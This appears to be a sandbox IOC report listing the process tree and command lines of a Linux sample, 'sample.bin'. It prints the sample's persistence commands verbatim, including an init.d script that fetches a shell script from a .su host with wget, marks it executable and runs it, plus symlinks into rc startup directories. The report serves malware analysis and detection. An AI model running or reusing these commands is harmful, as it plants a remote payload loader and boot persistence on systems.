IOC Report
sample.bin

/tmp/sample.bin

-

/bin/sh

sh -c "ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary >/dev/null 2>&1"

/bin/sh

-

/usr/bin/ln

ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary

/tmp/sample.bin

-

/bin/sh

sh -c "echo \"#!/bin/sh\n# /etc/init.d/sample.bin\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting sample.bin'\n /tmp/sample.bin &\n wget http://pen.gorillafirewall.su/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping sample.bin'\n killall sample.bin\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/sample.bin"

/tmp/sample.bin

-

/bin/sh

sh -c "chmod +x /etc/init.d/sample.bin >/dev/null 2>&1"

/bin/sh

-

/usr/bin/chmod

chmod +x /etc/init.d/sample.bin

/tmp/sample.bin

-

/bin/sh

sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"

/bin/sh

-

/usr/bin/mkdir

mkdir -p /etc/rc.d

/tmp/sample.bin

-

/bin/sh

sh -c "ln -s /etc/init.d/sample.bin /etc/rc.d/S99sample.bin >/dev/null 2>&1"

/bin/sh

-

/usr/bin/ln

ln -s /etc/init.d/sample.bin /etc/rc.d/S99sample.bin

/tmp/sample.bin

-

/usr/libexec/gnome-session-binary

-

/bin/sh

/bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-housekeeping

/usr/libexec/gsd-housekeeping

/usr/libexec/gsd-housekeeping

/usr/lib/systemd/systemd

-

/usr/lib/systemd/system-environment-generators/snapd-env-generator

/usr/lib/systemd/system-environment-generators/snapd-env-generator